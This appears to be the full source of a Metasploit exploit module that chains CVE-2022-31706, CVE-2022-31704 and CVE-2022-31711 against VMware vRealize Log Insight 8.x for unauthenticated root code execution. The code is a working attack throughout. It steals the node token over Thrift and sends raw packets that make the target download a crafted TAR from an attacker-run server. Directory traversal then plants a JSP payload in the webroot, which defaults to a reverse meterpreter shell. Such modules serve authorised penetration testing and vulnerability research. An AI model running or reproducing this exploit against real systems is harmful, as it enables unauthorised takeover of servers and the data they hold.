## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/thrift' require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::CmdStager::HTTP include Msf::Exploit::Retry include Msf::Exploit::FileDropper # includes register_files_for_cleanup prepend Msf::Exploit::Remote::AutoCheck Thrift = Rex::Proto::Thrift def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vRealize Log Insight Unauthenticated RCE', 'Description' => %q{ VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This module achieves code execution via triggering a `RemotePakDownloadCommand` command via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest` thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Horizon3.ai Attack Team', # Original POC & analysis 'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module ], 'References' => [ ['ZDI', '23-116'], ['ZDI', '23-115'], ['CVE', '2022-31706'], ['CVE', '2022-31704'], ['CVE', '2022-31711'], ['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'], ], 'DisclosureDate' => '2023-01-24', 'Platform' => %w[unix linux], 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'VMware vRealize Log Insight < v8.10.2', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true } } ] ], 'DefaultTarget' => 0, 'Payload' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(443), OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]), OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]), OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/']) ] ) register_advanced_options( [ OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]), OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ]) ] ) end def check print_status "Checking if #{peer} can be exploited." res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'i18n', 'component'), 'method' => 'GET' }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, '')) return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version') version = Rex::Version.new(translation['version']) if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}") end Exploit::CheckCode::Safe end def generate_malicious_tar mf_file = <<~EOF.strip { "CHECKSUMS": [ { "CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '} "FILE_NAME": "eula.txt" },#{' '} { "CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '} "FILE_NAME": "cn_eula.txt" },#{' '} { "CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '} "FILE_NAME": "de_eula.txt" },#{' '} { "CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '} "FILE_NAME": "es_eula.txt" },#{' '} { "CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '} "FILE_NAME": "fr_eula.txt" },#{' '} { "CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '} "FILE_NAME": "ja_eula.txt" },#{' '} { "CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '} "FILE_NAME": "ko_eula.txt" },#{' '} { "CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '} "FILE_NAME": "tw_eula.txt" },#{' '} { "CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '} "FILE_NAME": "upgrade-driver" },#{' '} { "CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '} "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm" } ],#{' '} "FROM_VERSION": "8.8.0-0",#{' '} "REQUIRED_SPACE": "1073741824",#{' '} "RPM_INFO": { "KEY_LIST": [],#{' '} "REBOOT": "False",#{' '} "RPM_LIST": [ { "ARGUMENTS": [ "--nodeps" ],#{' '} "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '} "OPTION": "INSTALL_OR_UPGRADE" } ] },#{' '} "TO_VERSION": "8.10.2-21145187" } EOF cert_file = <<~CERT SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776 -----BEGIN CERTIFICATE----- MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw 9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb 4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay 9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69 i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0 IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG vSqQGIbCybw5KTCXRQ8d -----END CERTIFICATE----- CERT # Generate a TAR archive with dir traversal... print_status 'Encoding the payload as JSP' payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe) jsp_name = 'api-v5-documentation.jsp' # version number can be randomized slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}" register_files_for_cleanup(slip_name.gsub('../..', '')) rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| dummy_files.each do |dum| t.add_file(dum, 0o644) do |f| f.write(rand_data) end end t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files crt.write(cert_file) end t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf| mf.write(mf_file) end t.add_file(slip_name, 0o644) do |f| f.write(payload_jsp) end end tar.seek(0) data = tar.read tar.close data end def on_request_uri(cli, _request) payload_tar = generate_malicious_tar print_status "Malicious TAR payload created (#{payload_tar.length} bytes)" print_good("Payload requested by #{peer}, sending...") @got_request = true send_response(cli, payload_tar) end def exploit # This is important check... fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ # Step 1 generate malicious TAR archive file_name = Rex::Text.rand_text_alpha(7) pak_name = "#{file_name}.pak" output_file = '/dev/null' register_files_for_cleanup("/tmp/#{pak_name}") print_status('Starting Payload Server') start_service('Path' => "/#{file_name}.tar") # Connect to the Apache Thrift service @tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT']) fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil? # Step 2 obtain node token print_status 'Fetching thrift config...' send_request([ Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL) ].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00") config = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil? token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty? print_good "Obtained node token: #{token}" print_status 'Sending getNodeType...' send_request([ Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL) ].map(&:to_binary_s).join + "\x00") # Step 3 download the malicious pak serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" print_status 'Sending RemotePakDownloadCommand...' download_pak_req = "\x80\x01\x00\x01" download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c" download_pak_req += "\x00\x0a\x0b\x00\x01" download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02" download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00" download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00" send_request(download_pak_req) download_resp = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil? retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do @got_request end # Step 4 trigger pak upgrade print_status 'Sending PakUpgradeCommand...' pak_upgrade_req = "\x80\x01\x00\x01" pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c" pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N') pak_upgrade_req += pak_name + "\x02\x00\x02\x00" pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file pak_upgrade_req += "\x02\x00\x04\x00" pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65" pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00" pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00" pak_upgrade_req += "\x00\x07\xd0\x00\x00" send_request(pak_upgrade_req) upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted' print_good 'PakUpgrade request is successful' print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..." sleep(datastore['WaitForUpgradeDuration']) # Step 5 trigger the JSP payload. print_status "#{peer} - Triggering JSP payload..." disconnect res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'), 'method' => 'GET' }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 end def send_request(request) @tsock.put([request.length].pack('N') + request) end def recv_response(timeout) remaining = timeout res_size, elapsed = Rex::Stopwatch.elapsed_time do @tsock.timed_read(4, remaining) end remaining -= elapsed return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 res = @tsock.timed_read(res_size.unpack1('N'), remaining) return nil if res.nil? || res.length != res_size.unpack1('N') return res_size + res rescue Timeout::Error return nil end end